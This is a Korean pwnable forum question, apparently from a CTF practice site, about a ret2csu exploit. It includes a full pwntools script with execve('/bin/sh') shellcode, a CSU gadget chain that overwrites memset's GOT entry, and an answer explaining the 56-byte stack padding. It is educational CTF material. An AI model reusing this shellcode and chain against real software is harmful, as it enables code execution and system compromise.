rtc를 이용한 exploit 코드가 왜 안되는지 모르겠습니다..

아래는 제 exploit 코드입니다.

이 코드에서 쉘 코드를 memset got에 overwrite한 후 memset의 got으로 ret를 변조할 때 앞에 p64(0)을 7번 붙여주지 않는다면 exploit이 수행되지 않는데, 이유를 모르겠습니다.. 왜 memset got으로만 ret를 변조했을 때는 쉘을 얻지 못하지만 앞에 p64(0)을 7번 붙여준다면 쉘을 얻을 수 있는건가요?

from pwn import *
 
context.log_level = 'debug'

csu_pop = 0x00000000004006EA
#pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 ret
csu_mov = 0x00000000004006D0
#r15 -> rdx r14 -> rsi r13 -> rdi  call r12+rbx*8


shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
#31byte
payload = b"DREAMHACK!"
arr = []
for i in range(118,0,-1):
   arr.append(i)

payload += bytearray(arr)
payload += p64(0)

print(len(payload))

p = remote('host1.dreamhack.games', 8893)
#p = process('./validator_dist')
e = ELF('./validator_dist')

bss = e.bss()

def make_csu_chain(address, arg1, arg2, arg3):
    temp = p64(csu_pop) + p64(0) + p64(1) + address + arg1 + arg2 + arg3 + p64(csu_mov)
    return temp

payload += make_csu_chain(p64(e.got['read']), p64(0), p64(e.got['memset']), p64(len(shellcode)+1))
payload += p64(e.got['memset'])

#위 코드 대신 이 코드를 사용하면 exploit이 됨 payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(e.got['memset']) 

p.sendline(payload)
sleep(0.5)
p.sendline(shellcode)
p.interactive()

화면 캡처 2021-06-01 122755.png

위는 csu 코드 및 주소 입니다.

#pwnable
작성자 정보
답변 1
avatar
Sechack
CTF First Place

정확한건 gdb로 봐야 알겠지만 csu구조상 add rsp, 8을 한번 하고 그다음에 pop을 6번 한뒤에 ret을 수행하므로 rip를 조작하고 싶으시면 dummy data를 앞에 8x7 = 56byte만큼 즉 p64(0)*7을 붙여줘야 원하는 주소로 rip를 조작할 수 있게 됩니다.

2021.05.31. 18:54
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기